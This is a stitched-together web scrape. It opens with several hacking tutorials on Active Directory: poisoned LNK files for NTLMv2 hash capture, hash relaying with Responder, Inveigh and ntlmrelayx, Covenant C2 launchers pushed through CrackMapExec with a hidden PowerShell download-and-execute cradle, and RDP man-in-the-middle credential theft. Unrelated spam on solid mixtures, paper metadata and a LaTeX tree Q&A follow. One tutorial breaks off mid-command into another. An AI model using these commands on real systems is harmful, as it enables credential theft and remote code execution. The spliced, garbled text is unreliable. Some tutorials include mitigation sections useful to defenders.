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Hacking Tutorial

# Attacking Active Directory and Open File Shares: Capturing Password Hashes via Malicious LNK Files

If you’ve seen any of my other guides on attacking Active Directory, you’ll have noticed that I love using Responder or Inveigh to capture NTLMv2 hashes. In this tutorial, we’re still going to leverage these tools, but we’re going to force users to send us their hash in a bit different of a way.

• Overview of the Attack
• Topology of the Network
• Performing the Attack
• How Do We Mitigate This?

## Overview of the Attack

### What is it?

Using PowerShell, we’re able to create our own .lnk file that contains a poisoned icon path. By directing users to a remote SMB share as the file location of the thumbnail, we’re able to force users who access this file share to reach out and make an authentication request to a location that we control.

### When can attackers use this?

This attack vector is especially useful in cases where you’ve obtained write access to a publicly accessible file share. If you can drop a specially crafted .lnk file in a location with high traffic, you should be able to capture a large number of NTLMv2 hashes for multiple users.

This can be further chained with SMB Relay attacks in the event that there are machines in the environment with SMB Signing disabled.

## Topology of the Network

In our scenario, we have four machines that are all a part of the same internal network.

Windows Server 2019:

• Acts as the domain controller.
• Has a FQDN of king.nba.local.
• Hosts up a file share at \\King\Share

First Windows 10 Machine:

• Joined to the nba.local domain.
• Is used by NBA\kBryant domain user.
• O:\ drive is mapped to \\King\Share

Second Windows 10 Machine:

• Joined to the nba.local domain.
• Is used by NBA\kIrving domain user.
• O:\ drive is mapped to \\King\Share

Attacker Kali Linux:

• Not domain joined.

## Performing the Attack

To begin, we need to first create our malicious .lnk file. Since we’ll be using PowerShell, you’ll need access to a Windows machine to generate the file, but it does not need to be domain-joined to the target network.

In a PowerShell prompt, we will create our malicious .lnk file using the following commands:

$objShell = New-Object -ComObject WScript.Shell$lnk = $objShell.CreateShortcut("C:\Malicious.lnk")$lnk.TargetPath = "\\<attackerIP>\@threat.png"
$lnk.WindowStyle = 1$lnk.IconLocation = "%windir%\system32\shell32.dll, 3"
$lnk.Description = "Browsing to the dir this file lives in will perform an authentication request."$lnk.HotKey = "Ctrl+Alt+O"
Get-Inveigh – get data from the $inveigh hashtable Stop-Inveigh – stop all running Inveigh modules Watch-Inveigh – enable real time console output Note: When using Get-Inveigh, I like to add the -NTLMv2 parameter to return all NTLMv2 hashes that were captured. ## Capturing Hashes in Inveigh As long as you have your listener running from before, capturing the hashes should be trivial. We just need to wait for LLMNR to kick in, or for a user to browse your SMB/HTTP shares. Let’s give things a little push in my virtual environment, by attempting to browse to a share that doesn’t exist. Once we do that, we can head over to our Inveigh window. If you have live output being displayed, you should see the NTLMv2 hash presented to you. If you do not have live output running, you can issue the following command into your PowerShell window. Get-Inveigh -NTLMv2 ## Relaying Hashes Captured w/ HTTP Proxy In addition to capturing hashes, we can also relay hashes as long as their captured in our HTTP proxy. However, this may be a bit of a challenge, because majority of hashes are captured via SMB. Inveigh does not currently support relaying hashes captured via SMB. To being, we’ll import the Inveigh-Relay.ps1 module. . ./Inveigh-Relay.ps1 And then the syntax is very straightforward. We just need to specify the target to relay our Net-NTLM hash to, along with what command to run once we have a valid administrator account captured. In addition to this, Invoke-InveighRelay also has some additional “Attack Modes”. • Enumerate – The enumerate attack can perform Group, User, Share, and NetSession enumeration against a target. • Execute – Performs PSExec style command execution. In previous versions of Inveigh Relay, this was the only available attack. Note, they removed SMB1 support. • Session – Inveigh Relay can now establish and maintain privileged/unprivileged authenticated SMB sessions. The sessions can be accessed with Invoke-SMBClientInvoke-SMBEnum, and Invoke-SMBExec from their Invoke-TheHash project. Inveigh Relay will attempt to keep the sessions open as long as the module is running. My example command will look like this. Invoke-InveighRelay -ConsoleOutput Y -Target <targetIP> -Command "whoami" -Attack Enumerate,Execute,Session Now here’s the issue. I mentioned that we couldn’t relay a SMB connection like we can with Responder. This means browsing to a fake share no longer does anything for us. However, we can browse to our hosted HTTP proxy as a quick proof of concept. Now there is a lot going on in this image, but let’s break this down. 1. On the left side, we can see the victim browsed to the HTTP server hosted by Inveigh. Inveigh then relayed that hash to the specified target. 2. Because the user had local admin rights on the target, we could see that we were successfully able to enumerate the local admin users and custom file shares. 3. We were also able to execute the command we specified when setting up our Invoke-InveighRelay command. ## Performing SMB to SMBRelay w/ Inveigh Previously, I said we are unable to relay a captured hash from SMB to a target via SMB, which is why I had to do my proof of concept using the HTTP Proxy. However, the creator of Inveigh, Kevin Robertson, has had luck with blocking port 445 to encourage clients to use WebDav Port 80 as a failover. This did not work for me in my test lab, but I wanted to mention it here in case it works for you. ## Conclusion Overall, I think Inveigh is a handy tool if you’re in a pinch, or dealing with a Windows-only scenario and want to try your luck at capturing Net-NTLM hashes. However, I think I still prefer Responder as it seems to be more feature rich for relaying hashes than what we’re currently able to do with Inveigh. What are your thoughts? Hacking Tutorial # Abusing LLMNR/NBT-NS in Active Directory Domains: Part 3 (Relaying Net-NTLM Hashes w/ Responder & NTLMRelayX) Other Parts in Series: In this guide, I will show you how to take these captured NTLMv2 hashes and relay them to vulnerable machines on the same network, completely bypassing the need to crack them! Part 3 Table of Contents: • Wait, Am I Relaying or Passing? • Overview of the Attack • Let’s Talk Prereqs • Topology of the Network • Setting up the Attack • Performing the Attack • Mitigation ## Wait, Am I Relaying or Passing? Before we dive in too deep, I do want to take a moment to clarify the difference between relaying a captured hash, and passing a captured hash. • You CAN perform Pass-The-Hash attacks with NTLM hashes. • You CANNOT perform Pass-The-Hash attacks with Net-NTLM hashes. So where do you get a NTLM hash? These are the type of hashes that are captured when you use a tool like SecretsDump.py to extract the contents of a SAM database. These type of hashes are stored on a system and cannot be relayed over the network. However, you can take a hash in this format and “pass” it to another machine using a tool like PTH-WinExe. While it’s not a full blown tutorial, you can read more about using this tool in a post I made titled Popping Remote Shells w/ winexe & pth-winexe on Windows. Net-NTLM, cannot be passed around the network. This means in order to use this type of hash to authenticate to another machine, you must capture this hash while it is in transit, and then relay it to a destination that you control. Showing how to do this is the purpose of today’s guide. ## Overview of the Attack If you’ve gone through my previous guides, you already know that we can use a tool called Responder to be intercept any LLMNR broadcasts on the network. By responding to these requests, we are able to capture Net-NTLM hashes from the user account that initiates the request. Relaying this hash uses the same method, except instead of presenting the hash to us as the hacker, we relay it to a different machine that we’d like to get control of. As long as the hash we captured belongs to a user with admin rights on our destined machine, we should be able to get command execution to take control of it. ## Let’s Talk Prereqs Alright so we know that we must relay a Net-NTLM hash, but what else is required for this attack to work? • You must be on the same network as the victim(s). This means that if your attacking machine is in a different subnet/broadcast domain, you will be unable to capture the Net-NTLM hash. • LLMNR must be enabled in the network (enabled by default). • SMB Signing must be disabled or not required on the target machine. This is the default configuration for most Windows desktop operating systems. Windows Servers will usually have SMB Signing enabled and enforced by default. • The Net-NTLM hash that you capture must belong to an elevated user on the target machine in order for you to get command execution. ## Topology of the Network In our scenario, we have four machines that are all a part of the same internal network. Windows Server 2019: • Acts as the domain controller. • Has a FQDN of king.nba.local. • IP address is 10.0.1.10 First Windows 10 Machine: • Joined to the nba.local domain. • Is used by NBA\kBryant domain user. • IP address is 10.0.1.11 Second Windows 10 Machine: • Joined to the nba.local domain. • Is used by NBA\kIrving domain user. • IP address is 10.0.1.200 Attacker Kali Linux: • Not domain joined. • IP address is 10.0.1.5 ## Setting up the Attack To begin, let’s head over to our Responder directory. I like to store mine in /opt. cd /opt/Responder Find the Responder.conf file and edit it using your favorite text editor. In order for us to run NTLMRelayX later, we’ll need to turn off the SMB and HTTP servers. If we don’t take this step, NTLMRelayX will be unable to utilize these protocols later. With those servers disabled, we’re ready to fire up Responder. You’ll need a few flags for this to work correctly. -I : Used to provide the interface that we’re going to listen on. -r : Enable answers for netbios wredir suffix queries. -d : Enable answers for netbios domain suffix queries. sudo python Responder.py -I eth0 -r -d -w With Responder running, we need to now configure NTLMRelayX so that we can forward any captured Net-NTLM hashes to a target of our choosing. We’ll start by changing into the impacket directory and then use a command similar to the one below. cd /opt/impacket sudo ntlmrelayx.py -t <target> -smb2support Note: You’ll need to include the -smb2support flag unless the machine you’re targeting supports SMBv1. With both commands running, we finally have our attack setup. Instead of targetting just a single machine, you could also use the -tf targets.txt flag to provide a list of targets. ## Performing the Attack At this point we have everything set up. Now we just need to sit back and wait for LLMNR to do it’s thing. If we wanted to give it a little push, we could manually browse to a file share that doesn’t exist from a machine that differs from who we are targeting. At this point, the hash of the user account we issued that request from would be captured and then relayed to our specified target(s). If this user happens to be a local administrator account, NTLMRelayX will dump the SAM database by default. If we wanted to get more creative, we could also use the -c flag to specify a command to run. Combine this with your favorite C2 launcher (perhaps Covenant), and you’ve got some real nasty stuff going on here. As a quick proof of concept, I’ll just issue a basic whoami command. sudo ntlmrelayx.py -t <target> -smb2support -c "whoami" ## Mitigation There are a few ways to mitigate this attack vector. 1. Disable the LLMNR protocol in your environment. If this wasn’t running to begin with, we wouldn’t be able to capture the Net-NTLM hash so easily. However, this isn’t fool proof as there are other ways to intercept these hashes in a network. 2. Enable and Enforce SMB Signing. This attack requires SMB Signing to be Not Enforced in order to work successfully against the target machines. By default, SMB Signing is typically enabled on Windows Server operating systems, but disabled on Windows Desktops. 3. Don’t give users local admin rights, especially not on multiple machines. If we are unable to capture elevated user hashes, we’re unable to get command execution on the target machines. More to come on mitigation in the future, including step by step instructions on creating and configuring GPOs. Hacking Tutorial # Using CrackMapExec to Install Covenant C2 Launchers CrackMapExec is a wonderful tool to leverage once you have valid domain credentials. If you happen to have elevated domain credentials, the possibilities become endless on what you can do. I was recently on an internal network engagement where I was able to pull down cleartext credentials to a domain admin account. CrackMapExec allowed me to easily execute commands and dump SAM tables, but what else can I do to take this to the next level? This is where Covenant C2 comes in! I found lots of blog posts online that talk about how to install and set up Covenant, but I couldn’t find anything that clearly showed how to leverage a tool like CrackMapExec to actually get Grunts connected. This post aims to serve as a guide to fill that gap. Table of Contents: • Installing Covenant C2 • Setting up the Listener. • Setting up the Launcher • Shortening the Encoded Launcher • Hosting the Launcher on a Different Webserver • Encoding Custom Payloads • Using CrackMapExec to Launch Covenant Grunts ## Installing Covenant C2 I don’t really want to go into detail on how to set up Covenant, but there are some awesome articles that go into more depth on this topic. git clone --recurse-submodules https://github.com/cobbr/Covenant cd Covenant/Covenant dotnet build dotnet run ## Setting up the Listener Also, this is going to go into depth on this, but this is the Listener that I set up in order for my example demonstration to work. BindAddress: 0.0.0.0 BindPort: 8081 ConnectPort: 8081 ConnectAddresses: Your routeable address to this instance. ## Setting up the Launcher Now that we have a Listener, we need to generate a Launcher. Since CrackMapExec has the ability to execute commands, we’ll leverage PowerShell for this. Go ahead and fill out the settings that you need for for your engagement. Once it’s ready, click Generate. This should generate two commands that you can then run against a system to spawn a Grunt instance, one that is encoded and one that isn’t. In order for us to use CrackMapExec, you’ll need the Encoded Launcher. I suggest testing this out by running it against a Windows machine you control to make sure things are set up correctly. ## Shortening the Encoded Launcher By default, the Encoded Launcher that gets generated is likely too long to use with CrackMapExec. Instead, we’ll need to create our own Encoded Launcher that will leverage the Invoke-Expression cmdlet to download and execute a web-hosted payload. If you’re going to host this launcher with Covenant directly, you can click on the Host tab and specify the path for the file. The non-encoded command we’re looking to create will look similar to whats noted below. Again, you’ll need to make sure Covenant is hosting the file up in order for you to be able to use it. powershell -Sta -Nop -Window Hidden -Command "iex (New-Object Net.WebClient).DownloadString('http://<localhost:8081/launcher.ps1')"  The encoded version of this payload will be much shorter and should be able to be passed to CrackMapExec. ## Hosting the launcher on a different machine If you’re going to host the file from a different machine, you’ll need to Encode your own command instead of using the provided command. This can be achieved by doing the following. First, you’ll need to navigate to the Launcher’s Generate tab and Download it to the system you wish to host it on. Once this PowerShell script is present on the target system, feel free to host it up with your favorite web hosting tool. In my example, I’ll leverage Python to do this. sudo python -m SimpleHTTPServer 8082 Now we need to craft our powershell command that will go out to this webserver, download, and execute the payload into memory. The command should look something like this before encoding. The only difference between this and the one that Covenant produces is the web address. powershell -Sta -Nop -Window Hidden -Command "iex (New-Object Net.WebClient).DownloadString('http://webServer:8082/launcher.ps1')"  ## Encoding Custom Payloads To generate the encoded command we need to run, we can use the following commands in PowerShell. You’ll want to replace$string with the contents of your -command flag mentioned above.

$string = "iex (New-Object Net.WebClient).DownloadString('http://<webServer>:8082/ps.ps1')"$encodedcommand = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($string)) echo$encodedcommand

For Linux Users: Or, you could also place your PowerShell command into a .ps1 script and run the following to get the encoded command out of Kali.

cat file.ps1 | iconv -t utf-16le | base64 -w 0

Then you can take the output from your echo/cat command, paste it into the placeholder below, and test to make sure your launcher works properly.

powershell -Sta -Nop -Window Hidden -EncodedCommand <encodedCommand>

## Using CrackMapExec to Launch Covenant Grunts

Now that we have our command ready, we can simply pass that to CrackMapExec like this.

sudo crackmapexec smb <target(s)> -u <user> -p <password> -x '<encodedCommand>'

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Hacking Tutorial

# Performing RDP Man in the Middle (MitM) Attacks Using Seth.sh to Steal Passwords

Are you used to getting inundated with invalid certificate prompts when connecting to a remote machine? Way more often than not do I see self-signed certificates in play when establishing RDP connections. This always left me wondering… Surely this opens the door to a Man in the Middle Attack?

Insert Seth! Which is described by its authors as “A tool written in Python and Bash to MitM RDP connections by attempting to downgrade the connection in order to extract clear text credentials.”

• Installing the Tool
• Setting the Stage
• Performing the Attack
• Mitigation Strategies

## Installing the Tool

You can download the tool from GitHub by using the following command.

sudo git clone https://github.com/SySS-Research/Seth.git

We have a couple prerequisites to install.

sudo apt install dsniff -y

## Setting the Stage

In my demo, we have three virtual machines in play.

1. Attacker VM running Kali Linux at IP address 10.0.0.139
2. Victim VM running Windows 10 at 10.0.0.20
3. Server/Destination VM running Windows 10 at 10.0.0.250.

The victim is going to sign into his computer, and then attempt to perform a RDP connection to the Destination VM at 10.0.0.250 using his domain credentials, NBA\dLillard. When he attempts the connection, he is prompted to enter a password.

Because IT admins are usually lazy, all machines are just using their self-signed certificates which generate certificate errors when users connect. Many users in the real world are actually numb to these errors because this is such a common misconfiguration left far too often. Because of this, majority of users will just ignore the certificate error that gets generated during the Man in The Middle attack.

## Performing the Attack

The tool is actually very simple to use.

sudo ./seth.sh <INTERFACE> <ATTACKER IP> <VICTIM IP> <GATEWAY IP|HOST IP>

Using the above syntax, our command will look like this.

sudo ./seth.sh eth0 10.0.0.139 10.0.0.20 10.0.0.250

When we execute the above command, we just need to wait for the victim to attempt their RDP connection. Once they do, they’ll be treated with their normal credential and certificate error prompts, which should return their cleartext credentials to us.

The above example is showing output from Seth when the destination machine does not require NLA authentication. However, domain joined Windows 10 machines will enforce NLA by default, which means we will not be able to forward the connection request off to the server in order to establish the connection.

However, even with NLA enabled, Seth will spin up a fake server in order to attack the client and receive the cleartext credential. The end user’s connection attempt to the server will fail, but we’re still able to utilize the tool to grab what we need.

### Warning When Using Against Local User Accounts

Be careful when using this tool against machine that are not domain joined, or against machines that authenticate over RDP using local user accounts.

I found that when I attempted to perform the attack to non-domain joined machines, the invalid hostname was passed to the destination server. The login was attempted using the local user account to the hostname of the victim, and not the local user account on the hostname of the destination. The attack still “worked” because I was able to extract cleartext credentials, but the end user was unable to authenticate to their destined computer and would know something was wrong.

## Mitigation Strategies

Configure clients so they do not establish connections to a RDP host if they cannot verify its identity. This will require Public Key Infrastructure, either by purchasing public certification or rolling out your own infrastructure.

Windows machines can be configured in this way using the following GPO:

Computer Configuration\Policies\Administrative Templates\Windows Components\Remote Desktop Services\Remote Desktop Connection Client\Configure server authentication for client

TAKE CERTIFICATE WARNINGS SERIOUSLY.. mm.kay?


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# Mixture of solids

Determination of the percent composition of a mixture is determined independently by isolating the barium as solid baso4, weighing. Video: homogeneous mixture: definition & examples we use many types of mixtures in everyday life homogeneous mixtures can be a mixture of liquids, solids.

View lab report - separation of a mixture of solids lab (1) from chm 150 at university of phoenix experiment separation of a mixture of solids separation of a mixture of solids peter. Free essay: lab 3 – separation of a mixture of solids cathy lab partners: chelsea brooke sept 4, 2012 chemistry 131a dr vicki h audia pelab questions:. Preponderant and is called the solvent, and the rest of substances (gases, liquids and solids) are called solutes, the mixture being named solution.

Separating mixtures this is good for separating a soluble solid from a liquid (a soluble substance does dissolve, to form a solution). Mixtures and solutions the method depends on the properties of the different materials in the mixture when water evaporates from the mixture, solid salt. There are many examples of heterogeneous mixtures, not just in scientific labs but also in the real world.

By solvent extraction method: this method is used one of the solids is water soluble, while the other is insoluble, for example a sand and salt mixture. Soil is a mixture of _____ a solids b solids, liquids, and gases c solids and liquids d solids and gases - 254713. Liquid and solid densities most liquids and solids $\rightarrow$ density decreases with heating for mixtures of similar solid or liquid materials. View lab report - exp 4 separation_of_a_mixture_of solids from chem 104 at genesee separation of a mixture of solids hands-on labs, inc version 42-0196-00-02 name: danielle berg objective(s) of the.

Materials exist as solids, liquids and gases, and as a mixture of these states they may be natural or man made and they have different textures and properties. Solute – the solid part of a solution solution – a special kind of mixture with two things mixed together evenly or homogeneously. I blacktop blacktop is a mixture of gravel and asphalt asphalt is itself a complex substance, but it is mostly a mixture of compounds that are the residuum from petroleum refining. Properties of matter: solids by mary bagley, live science contributor an alloy is a solid mixture of a metallic element with another substance.

Separate the components of a mixture if you take advantage of differences in physical properties of the components 1 solid mixture with this technique. Answer to i did a lab on separation of a mixture of solids we separated out iron fillings, then sand, then benzoic acid, then sal. Like homogeneous mixtures, examples of heterogeneous mixtures can include solids, liquids and gases some liquid examples include salad dressing and red wine vinegar.

Get an answer for 'what are some examples of homogeneous mixtures and heterogeneous mixtures' and find homework help for other chemistry trail mix (solids. Solid is one of the four fundamental states of matter mixtures of two or more elements in which the major component is a metal are known as alloys. Separation of a mixture of solids - download as word doc (doc), pdf file (pdf), text file (txt) or read online chemistry ii labpaq. Solids and slurries - definition of terms a term used to describe the resistance to flow which is exhibited by solid-liquid mixtures at various rates of flow.

Essays - largest database of quality sample essays and research papers on separation of mixture of solid lab. Heterogeneous mixture properties and examples june 16 the final mixture is a gas and a solid the name for this mixture is commonly called smoke. Centrifuge in some cases, there are suspension mixtures where the solid particles are too fine to be separated with a filter in these cases, sometimes a centrifuge is used.

Mixture of solids
Rated 5/5 based on 39 review

2018.

format: plain


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## Invitation to Computer Science 8th Edition

The first one( Fig 1.3$)$ is more efficient and elegant since it would look the same regardless of how many times the loop has to be performed. Only the value of WashCount would change.


text:
Volume 1, Issue 5
Numerical Approximation of Oscillatory Solutions of Hyperbolic-Elliptic Systems of Conservation Laws by Multiresolution Schemes

Adv. Appl. Math. Mech., 1 (2009), pp. 581-614.

Published online: 2009-01

Cited by

Export citation
• Abstract

The generic structure of solutions of initial value problems of hyperbolic-elliptic systems, also called mixed systems, of conservation laws is not yet fully understood. One reason for the absence of a core well-posedness theory for these equations is the sensitivity of their solutions to the structure of a parabolic regularization when attempting to single out an admissible solution by the vanishing viscosity approach. There is, however, theoretical and numerical evidence for the appearance of solutions that exhibit persistent oscillations, so-called oscillatory waves, which are (in general, measure-valued) solutions that emerge from Riemann data or slightly perturbed constant data chosen from the interior of the elliptic region. To capture these solutions, usually a fine computational grid is required. In this work, a version of the multiresolution method applied to a WENO scheme for systems of conservation laws is proposed as a simulation tool for the efficient computation of solutions of oscillatory wave type. The hyperbolic-elliptic $2 \times 2$ systems of conservation laws considered are a prototype system for three-phase flow in porous media and a system modeling the separation of a heavy-buoyant bidisperse suspension. In the latter case, varying one scalar parameter produces elliptic regions of different shapes and numbers of points of tangency with the borders of the phase space, giving rise to different kinds of oscillation waves.

• Keywords

Hyperbolic-elliptic system, conservation law, oscillation wave, numerical simulation, multiresolution method, sedimentation model.

76T20, 35L65, 65M06, 76M20, 35M10, 35R25

• BibTex
• RIS
• TXT
@Article{AAMM-1-581, author = {Stefan and Berres and and 20552 and and Stefan Berres and Raimund and Bürger and and 20553 and and Raimund Bürger and Alice and Kozakevicius and and 20554 and and Alice Kozakevicius}, title = {Numerical Approximation of Oscillatory Solutions of Hyperbolic-Elliptic Systems of Conservation Laws by Multiresolution Schemes}, journal = {Advances in Applied Mathematics and Mechanics}, year = {2009}, volume = {1}, number = {5}, pages = {581--614}, abstract = {

The generic structure of solutions of initial value problems of hyperbolic-elliptic systems, also called mixed systems, of conservation laws is not yet fully understood. One reason for the absence of a core well-posedness theory for these equations is the sensitivity of their solutions to the structure of a parabolic regularization when attempting to single out an admissible solution by the vanishing viscosity approach. There is, however, theoretical and numerical evidence for the appearance of solutions that exhibit persistent oscillations, so-called oscillatory waves, which are (in general, measure-valued) solutions that emerge from Riemann data or slightly perturbed constant data chosen from the interior of the elliptic region. To capture these solutions, usually a fine computational grid is required. In this work, a version of the multiresolution method applied to a WENO scheme for systems of conservation laws is proposed as a simulation tool for the efficient computation of solutions of oscillatory wave type. The hyperbolic-elliptic $2 \times 2$ systems of conservation laws considered are a prototype system for three-phase flow in porous media and a system modeling the separation of a heavy-buoyant bidisperse suspension. In the latter case, varying one scalar parameter produces elliptic regions of different shapes and numbers of points of tangency with the borders of the phase space, giving rise to different kinds of oscillation waves.

}, issn = {2075-1354}, doi = {https://doi.org/10.4208/aamm.09-m0935}, url = {http://global-sci.org/intro/article_detail/aamm/8387.html} }
TY - JOUR T1 - Numerical Approximation of Oscillatory Solutions of Hyperbolic-Elliptic Systems of Conservation Laws by Multiresolution Schemes AU - Berres , Stefan AU - Bürger , Raimund AU - Kozakevicius , Alice JO - Advances in Applied Mathematics and Mechanics VL - 5 SP - 581 EP - 614 PY - 2009 DA - 2009/01 SN - 1 DO - http://doi.org/10.4208/aamm.09-m0935 UR - https://global-sci.org/intro/article_detail/aamm/8387.html KW - Hyperbolic-elliptic system, conservation law, oscillation wave, numerical simulation, multiresolution method, sedimentation model. AB -

The generic structure of solutions of initial value problems of hyperbolic-elliptic systems, also called mixed systems, of conservation laws is not yet fully understood. One reason for the absence of a core well-posedness theory for these equations is the sensitivity of their solutions to the structure of a parabolic regularization when attempting to single out an admissible solution by the vanishing viscosity approach. There is, however, theoretical and numerical evidence for the appearance of solutions that exhibit persistent oscillations, so-called oscillatory waves, which are (in general, measure-valued) solutions that emerge from Riemann data or slightly perturbed constant data chosen from the interior of the elliptic region. To capture these solutions, usually a fine computational grid is required. In this work, a version of the multiresolution method applied to a WENO scheme for systems of conservation laws is proposed as a simulation tool for the efficient computation of solutions of oscillatory wave type. The hyperbolic-elliptic $2 \times 2$ systems of conservation laws considered are a prototype system for three-phase flow in porous media and a system modeling the separation of a heavy-buoyant bidisperse suspension. In the latter case, varying one scalar parameter produces elliptic regions of different shapes and numbers of points of tangency with the borders of the phase space, giving rise to different kinds of oscillation waves.

Stefan Berres, Raimund Bürger & Alice Kozakevicius. (1970). Numerical Approximation of Oscillatory Solutions of Hyperbolic-Elliptic Systems of Conservation Laws by Multiresolution Schemes. Advances in Applied Mathematics and Mechanics. 1 (5). 581-614. doi:10.4208/aamm.09-m0935
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# TikZ tree sibling distance

I have been struggling a bit with TikZ and how to build trees. What I need now is some advice on how to improve the node placement. Right now I have these 2 trees:

\documentclass[a4paper,10pt]{article}
\usepackage{tikz}
\begin{document}
\begin{tikzpicture}
[font=\small, edge from parent fork down,
every node/.style={top color=white, bottom color=blue!25,
rectangle,rounded corners, minimum size=6mm, draw=blue!75,
very thick, drop shadow, align=center},
edge from parent/.style={draw=blue!50,thick},
level 1/.style={sibling distance=6cm},
level 2/.style={sibling distance=2.5cm},
level 3/.style={sibling distance=2.5cm},
level distance=2cm,
]

\node {Paletizar} % root
child { node {Iniciar}
child { node {Detectar Pacote}}
child { node {Movimentar}}
}
child { node {Empacotar}
child { [sibling distance=15mm] node {Posicionar}
child { node {Pegar/Largar}}
child { node {Organizar}}
child { node {Movimentar}}
}
child { node {Agrupar}}
child { node {Padronizar}}
}
child { node {Finalizar}
child { node {Detectar estado\\da palete}}
child { node {Transmitir}}
};
\end{tikzpicture}

\vspace{2cm}

\begin{tikzpicture}
[font=\small, edge from parent fork down,
every node/.style={top color=white, bottom color=blue!25,
rectangle,rounded corners, minimum size=6mm, draw=blue!75,
very thick, drop shadow, align=center},
edge from parent/.style={draw=blue!50,thick},
level 1/.style={sibling distance=6cm},
level 2/.style={sibling distance=3cm},
level 3/.style={sibling distance=2cm},
level distance=2cm,
]

\node {Paletizador} % root
child { node {Inicialização\\de sistema}
child { node {Sensor X}}
child { node {Acção Y}}
}
child { node {Sacos}
child { node {Linha/Coluna}
child { node {Garra}}
child { node {Rodar Garra}}
child { node {Acção Y2}}
}
child { node {Euro Pallet}}
child { node {Disposição $xyz$}
child { node {$x=?$}}
child { node {$y=?$}}
child { node {$z=?$}}
}
}
child { node {Sistema de despacho}
child { node {Sensor de peso\\/contador}}
child { node {Tapete rolante\\de saída}}
};
\end{tikzpicture}

\end{document}

So basically what I want is a way to edit the code I have so that everything is perceptible which basically means that I need specific sibling distances to each child. I have tried to add a sibling distance in the child nodes but maybe it was in the wrong place or something else because it didn't change anything. I also tried to use below and all its derivations but the results were even worse because of the size of the boxes.

-
Welcome to TeX.sx! It's not necessary to sign your questions (as there is already a box with your username below it) or to begin them with a greeting. –  Torbjørn T. Nov 20 '11 at 20:34

Using tikz-qtree helps a bit with automatic spacing of siblings. It also provides a simpler input method. Here's your second tree done in that way:

\documentclass[landscape]{article}
\usepackage[utf8]{inputenc}
\usepackage[T1]{fontenc}

\usepackage[margin=1in]{geometry}
\usepackage{tikz-qtree}
\begin{document}
\tikzset{font=\small,
edge from parent fork down,
level distance=1.75cm,
every node/.style=
{top color=white,
bottom color=blue!25,
rectangle,rounded corners,
minimum height=8mm,
draw=blue!75,
very thick,
align=center,
text depth = 0pt
},
edge from parent/.style=
{draw=blue!50,
thick
}}

\centering
\begin{tikzpicture}
[.{Inicialização\\de sistema}
[.{Sensor X} ]
[.{Acção Y} ] ]
[.Sacos
[.{Linha/Coluna}
[.{Garra} ]
[.{Rodar Garra} ]
[.{Acção Y2} ] ]
[.{Euro Pallet} ]
[.{Disposição $xyz$}
[.{$x=?$} ]
[.{$y=?$} ]
[.{$z=?$} ] ] ]
[.{Sistema de despacho}
[.{Sensor de peso\\/contador} ]
[.{Tapete rolante\\de saída} ] ]
]
\end{tikzpicture}
\end{document}

-
tkiz-qtree helps a lot (I was actually learning how to use it now). However it does create a couple of blank spaces. Is there a way to compact it? Also I seem to loose some horizontal alignment, is there a way to fix that? Other than that it's perfect –  Duarte Silva Nov 20 '11 at 22:48
Do you mean the space around the "Linha/Coluna" node? That's determined by the width of its daughter nodes; I don't think there's an easy way to adjust that. As for the alignment of the "y=?" node, I have no idea why that is not aligned properly. –  Alan Munn Nov 20 '11 at 23:04
Ok, I'll leave it at that. Maybe when I have more time I'll try again. Thanks to everyone –  Duarte Silva Nov 20 '11 at 23:10
Thanks to @Jake, there's a solution to the horizontal alignment problem: I've added text depth=0pt to the node style parameters. –  Alan Munn Nov 21 '11 at 0:27

A more compact tree can be specified very concisely using the newer and powerful forest. For example:

\documentclass[a4paper,10pt,landscape]{article}
\usepackage{geometry}
\usepackage{forest}
\usepackage[utf8]{inputenc}
\usepackage[T1]{fontenc}
\begin{document}
\tikzset{
my node style/.style={
font=\small,
top color=white,
bottom color=blue!25,
rectangle,
rounded corners,
minimum size=6mm,
draw=blue!75,
very thick,
align=center,
}
}
\forestset{
my tree style/.style={
for tree={
my node style,
parent anchor=south,
child anchor=north,
edge={draw=blue!50, thick},
edge path={% |-| style branches from parent to child
\noexpand\path [draw, \forestoption{edge}] (!u.parent anchor) -- +(0,-5pt) -| (.child anchor)\forestoption{edge label};
},
if n children=3{% if a node has 3 children
for children={% align the middle child with its parent
if n=2{calign with current}{}
}
}{},
}
}
}
\centering

\begin{forest}
my tree style
[Paletizar
[Iniciar
[Detectar Pacote]
[Movimentar]
]
[Empacotar
[Posicionar
[Pegar/Largar]
[Organizar]
[Movimentar]
]
[Agrupar]
]
[Finalizar
[Transmitir]
]
]
\end{forest}

\vspace{2cm}

\begin{forest}
my tree style
[Inicialização\\de sistema
[Sensor X]
[Acção Y]
]
[Sacos
[Linha/Coluna
[Garra]
[Rodar Garra]
[Acção Y2]
]
[Euro Pallet]
[{Disposição $xyz$}
[{$x=?$}]
[{$y=?$}]
[{$z=?$}]
]
]
[Sistema de despacho
[Tapete rolante\\de saída]
]
]
\end{forest}

\end{document}

If you need to keep the trees in portrait and can adjust the relative alignments a little, you can do this quite easily. In this version, I also make use of the vertical space available in portrait orientation to increase the distance between levels a little. The first tree uses tier alignment using tier=<tier name> and the second uses empty nodes to adjust the alignment, setting all empty nodes to shape=coordinate by modifying the style definition.

\documentclass[a4paper,10pt]{article}
\usepackage{geometry}
\usepackage{forest}
\usepackage[utf8]{inputenc}
\usepackage[T1]{fontenc}
\begin{document}
\tikzset{
my node style/.style={
font=\small,
top color=white,
bottom color=blue!25,
rectangle,
rounded corners,
minimum size=6mm,
draw=blue!75,
very thick,
align=center,
}
}
\forestset{
my tree style/.style={
for tree={
parent anchor=south,
child anchor=north,
l sep+=5pt,
my node style,
edge={draw=blue!50, thick},
edge path={
\noexpand\path [draw, \forestoption{edge}] (!u.parent anchor) -- +(0,-7.5pt) -| (.child anchor)\forestoption{edge label};
},
if n children=3{
for children={
if n=2{calign with current}{}
}
}{},
delay={if content={}{shape=coordinate}{}}
}
}
}
\centering

\begin{forest}
my tree style
[Paletizar
[Iniciar
[Detectar Pacote]
[Movimentar]
]
[Empacotar
[Posicionar
[Pegar/Largar]
[Organizar]
[Movimentar]
]
[Agrupar]
]
[Finalizar, tier=A
[Transmitir]
]
]
\end{forest}

\vspace{2cm}

\begin{forest}
my tree style
[Inicialização\\de sistema
[Sensor X]
[Acção Y]
]
[Sacos
[
[
[Linha/Coluna
[Garra]
[Rodar Garra]
[Acção Y2]
]
[Euro Pallet]
[{Disposição $xyz$}
[{$x=?$}]
[{$y=?$}]
[{$z=?$}]
]
]
]
]
[Sistema de despacho
[Tapete rolante\\de saída]
]
]
\end{forest}

\end{document}

-

